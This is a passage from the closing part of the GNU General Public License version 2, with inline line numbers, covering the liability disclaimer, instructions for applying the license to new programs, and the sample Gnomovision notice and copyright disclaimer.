IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | {description} 294 | Copyright (C) {year} {fullname} 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | {signature of Ty Coon}, 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | --------------------------------------------------------------------------------